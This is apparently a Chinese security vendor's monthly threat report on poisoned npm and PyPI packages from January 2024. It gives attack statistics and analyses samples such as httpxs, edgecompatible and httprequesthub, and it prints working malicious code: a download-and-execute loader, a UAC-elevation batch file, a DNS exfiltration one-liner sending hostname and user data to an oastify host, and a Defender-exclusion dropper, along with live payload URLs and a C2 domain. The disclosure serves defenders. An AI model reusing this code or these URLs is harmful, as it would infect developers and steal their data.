供应链投毒预警 | 开源供应链投毒202401最新月报来啦！

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库，结合程序动静态分析方法对潜在风险的开源组件包进行分析和监测，捕获大量开源组件恶意包投毒攻击事件。2024年1月份，悬镜供应链安全情报中心在Npm官方仓库（https://www.npmjs.com/）和Pypi官方仓库（https://pypi.org/）上共捕获675个不同版本的恶意投毒包，其中Npm仓库投毒占比90.48%， Pypi仓库投毒占比9.52%， 从每日捕获的投毒包数据来看，Npm仓库仍然是开源组件投毒的重灾区。

2024年1月份投毒包总量

2024年1月份投毒包每日统计

针对所有捕获的开源组件投毒包，我们结合源代码分析、动态行为监控等方法总结统计了投毒包的攻击方式和恶意行为。目前主流的投毒攻击方式包括：

• 恶意文件执行

• 代码混淆执行

• 恶意文件下载

• shell命令执行

• 恶意文件释放

• 恶意代码内存执行

其中，恶意文件执行是最常见的投毒攻击方式，占比高达77%，其攻击流程主要利用开源组件管理器在安装组件包过程中通过投毒者自定义的恶意指令来自动加载执行内置在组件包中的恶意代码文件(py、pyc、js、shell、pe、dll、elf、so等)。恶意文件下载和恶意文件释放后执行也是投毒者惯用的攻击手法之一。此外，部分开源组件投毒者会使用代码混淆、恶意代码内存执行等技术实施无文件投毒攻击，以此来躲避杀毒软件、EDR的安全防护检测。

攻击方式统计

在所有投毒包的恶意行为中，窃取系统信息占比超过83%，信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器cookie等敏感数据。其次，远控木马和反向shell后门也是投毒包常见的攻击目的。

恶意行为统计

本节将从2024年1月份捕获的开源组件投毒包中精选一些具有代表性的恶意包进行分析，还原投毒者惯用的攻击手法及动机。同时，也希望开发者能够理解投毒者的攻击思路，提高开发流程中的安全防护意识。

该攻击方式主要发生在包管理器安装或者投毒包加载时，投毒包中的恶意代码执行时会从远程服务器下载攻击者托管的下一阶段恶意程序（木马、后门等）到受害者系统上执行。

在1月份里，我们在pypi仓库中捕获多起http组件相关的投毒攻击事件，其中投毒包httpxs和update-requests主要针对开发者开展木马后门攻击。以pypi仓库的httpxs投毒包为例，该投毒包目标针对知名python开源组件httpx，尝试通过包名错误拼写(typo-squatting)来迷惑混淆python开发者。

知名python开源组件httpx

投毒包httpxs通过克隆httpx v0.25.1版本源码，并将httpx 项目的__init__.py文件末尾植入恶意python代码；

投毒文件比对结果

当python项目错误加载恶意httpxs组件时，__init__.py中的恶意python代码将得到执行。

import requestsimport subprocessimport threadingimport ospath = os.environ["USERPROFILE"] + "AppDataLocalexplorer.exe"def process() -> None:    if os.path.exists(path):        subprocess.run(path, shell=True)def download() -> None:    response = requests.get("https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587&")    if response.status_code != 200:        exit()    with open(path, 'wb') as file:        file.write(response.content)def execute() -> None:    thread = threading.Thread(target=process)    thread.start()download(); execute()

恶意代码进一步从以下恶意网址下载新的恶意程序(run_for_money.exe)，写入到受害者windows系统中("C:Users{username}AppDataLocalexplorer.exe")并最终执行该恶意程序。恶意程序run_for_money.exe在virustotal上被多款杀毒引擎判定为木马后门。

https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587

virustotal检测结果

该攻击方式主要将恶意程序捆绑打包进投毒包中，或者直接将恶意程序代码编码(通常采用简单的base64、ascii等编码)转换为可显字符串后内嵌到投毒包代码文件中。当包管理器安装或投毒包加载时，投毒包中的恶意代码执行时会直接运行捆绑的恶意程序或者将内嵌编码后的恶意程序代码进一步解码释放后运行。

以npm仓库的edgecompatible投毒包为例，该投毒包捆绑了多个伪装成msedge浏览器组件的木马后门程序，其目标针对使用windows系统的npm开发者。

合法程序cookie_exporter.exe及木马程序msedge.dll

当npm项目开发中一旦加载edgecompatible投毒包， edgecompatible的index.js将执行bin/autorun.bat脚本。

index.js文件

// index.jsconst { spawn } = require('child_process');const path = require('path');const os = require("os");module.exports = {    compat: function() {      if (os.platform() === "win32") {        const binaryPath = path.join(__dirname, 'bin', 'autorun.bat');        const child = spawn(binaryPath, []);        child.stdout.on('data', (data) => {          console.log(`stdout: ${data}`);        });        child.stderr.on('data', (data) => {          if(data.toString().indexOf("start-process") != -1)          {            console.log( "x1b[31m%sx1b[0m", "Can't access Microsoft Edge rendering engine.");            process.exit();          }        });        child.on('close', (code) => {        });      } else if (os.platform() === "linux") {        console.log(          "x1b[31m%sx1b[0m",          "This script is running on Linux. Please run on Windows Server OS."        );      } else {        console.log(          "x1b[31m%sx1b[0m",          "This script is running on an unrecognized OS. Please run on Windows Server OS."        );      }    }  };

bin/autorun.bat脚本首先通过执行“C:WindowsSystem32cacls.exe C:WindowsSystem32configsystem”来判断当前用户是否拥有管理员权限，如果没有管理员权限则会进一步尝试通过执行powershell命令 ”powershell start-process ".appcookie_exporter.exe" -Verb RunAs” 来运行bin/app/Cookie_export.exe，该程序是合法的Microsoft Edge浏览器官方程序，主要目的是用来触发来用户账户控制（UAC）提示，并尝试欺骗受害者运行使用管理员权限来执行bin/app/Cookie_export.exe。

autorun.bat脚本

@echo offpushd %~dp0:: echo %~dp0:: Check for administrator privileges>nul 2>&1 "%SYSTEMROOT%system32cacls.exe" "%SYSTEMROOT%system32configsystem":: If the previous command returned with an error, ask for elevated permissionsif %errorlevel% neq 0 (    :: echo Requesting administrative privileges...    :: Prompt for UAC elevation    powershell start-process ".appcookie_exporter.exe" -Verb RunAs    exit /b):: The rest of your script goes here with administrator privilegespopd

一旦受害者允许使用管理员权限运行cookie_export.exe，该程序将优先加载同目录下的恶意DLL文件bin/app/msedge.dll来执行下一阶段的攻击，通过IDA逆向可确认cookie_export.exe运行时将动态加载msedge.dll。

bin/app/msedge.dll在virustotal上被多款杀毒引擎判定位木马程序。实际上，bin/app/msedge.dll加载后会对bin/app/msedge.dat进一步解密释放出下一阶段的木马后门程序。

virustotal检测结果

该攻击方式主要发生在包管理器安装或者投毒包加载时，投毒包中的恶意代码执行时会动态分配一块可读可写可执行(RWX)的动态内存，并将恶意shellcode代码直接拷贝到RWX内存中执行，无恶意文件落盘行为，在一定程度上可以绕过基于文件系统的安全检测。通常shellcode代码也会被攻击者存储在一些合法的代码托管平台上。

以pypi仓库的httprequesthub为例，该投毒包和我们在2023年11月份捕获到的属于同一个投毒团伙。httprequesthub投毒包通过在安装包setup.py脚本中自定义egg_info命令（PostEggInfoCommand类）从远程服务器上拉取加密的恶意代码进行解密释放出第二阶段的shellcode攻击代码，shellcode代码直接在可读可写可执行的系统内存中执行，没有恶意程序文件落盘行为，具备较高的攻击隐蔽性。

setup.py文件

当开发者通过pip 包管理器下载或安装httprequesthub包时，PostEggInfoCommand的run函数将被调用执行第一阶段攻击代码。Run函数先将base64编码的url进行解码后通过urllib远程下载base64编码的恶意代码，最后会对恶意代码进行base64解码后调用subprocess.Popen启动新进程执行第二阶段的python攻击代码。

Base64编码的恶意代码url为：

aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vS2FyYXZheWV2QWxleGVpL2JkZjRmOWUyODA3MTRkODczMDNkNDkwOWQxOWRlM2E3L3Jhdy8zMTYzZTljOWZmNjE4YzUwYThkOGE5ZjYwMDUzYTM2ODM5ODVlMzUxL21hY2QuYjY0Cg==

解码后的恶意代码url为：

https://gist.github.com/KaravayevAlexei/bdf4f9e280714d87303d4909d19de3a7/raw/3163e9c9ff618c50a8d8a9f60053a3683985e351/macd.b64

解码后的第二阶段python攻击代码如下所示：

第二阶段攻击代码

第二阶段python攻击代码调用send函数先将base64编码的update_information_url进行解码后通过urllib远程下载第三阶段加密的恶意代码，最后会对恶意代码进行解密并调用eval执行进入第三阶段攻击代码。update_information_url解码后为：

https://gist.githubusercontent.com/tarasvlasov83/cf1ec403fac3f1cb8b23320c31042a67/raw/ff4be6e247d7698b401cfe31119d54167af875eb/aaaa.b64

第三阶段恶意代码解密还原后如下所示：

第三阶段攻击代码

第三阶段恶意代码会进一步通过base64解密和zlib解压内嵌的恶意代码，最终还原出第四阶段python攻击代码：

‍

第四阶段攻击代码

第四阶段攻击代码被混淆处理，其大致逻辑是通过调用python ctypes库动态分配一段可读可写可执行的RWX系统内存，并将内置加密压缩后的shellcode代码解密释放到RWX内存上，最后直接控制PC寄存器跳转到RWX内存中执行第五阶段shellcode攻击代码。

去混淆后的第四阶段攻击代码如下所示（这部分攻击代码和我们2023年11月份发现的HTTP代理SDK投毒攻击代码完全一致）：

第四阶段攻击代码还原

通过IDA逆向第五阶段shellcode攻击代码(shellcode_stage1)，伪代码如下所示，shellcode先调用系统接口分配一块可读可写可执行的RWX内存，接着将异或编码后的shellcode解码释放到RWX内存中执行下一阶段攻击。

shellcode_stage1逆向

通过逆向分析可发现第五阶段攻击代码shellcode_stage1执行后，需要连续经过16轮 shellcode解码释放操作，最终才会释放出真实的攻击代码shellcode_stage17。

从shellcode_stage1到shellcode_stage17阶段的代码都是直接在系统内存上执行，不在文件系统中生成恶意代码。shellcode_stage17攻击代码最终负责和攻击者的C2服务器3478.qt-api-worker-threads.workers.dev进行通信。

shellcode_stage17逆向

virustotal恶意url检测

const { exec } = require("child_process");exec("a=$(hostname;pwd;whoami;echo 'identity-auth';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com;done" , (error, data, getter) => {  if(error){    console.log("error",error.message);    return;  }  if(getter){    console.log(data);    return;  }  console.log(data);});

https://cdn.discordapp.com/attachments/1193294801299325020/1196958183533580478/1.bat

@echo offif not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exitif not "%1"=="am_admin" (  powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"  exit /b)set "scriptDir=%~dp0"powershell -Command "Add-MpPreference -ExclusionPath 'C:'"TIMEOUT /T 5powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download', 'C:WindowsApiWindowsApi.exe')"start "" "C:WindowsApiWindowsApi.exe"taskkill /IM cmd.exeexit

https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d5870

截至目前，大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包，开发者可使用OpenSCA-cli，将受影响的组件包按如下示例保存为db.json文件（可参考总结中提到的组件包信息按格式增减），直接执行扫描命令（opensca-cli -db db.json -path ${project_path}），即可快速获知您的项目是否受到文中所披露的投毒包的影响。

https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d5871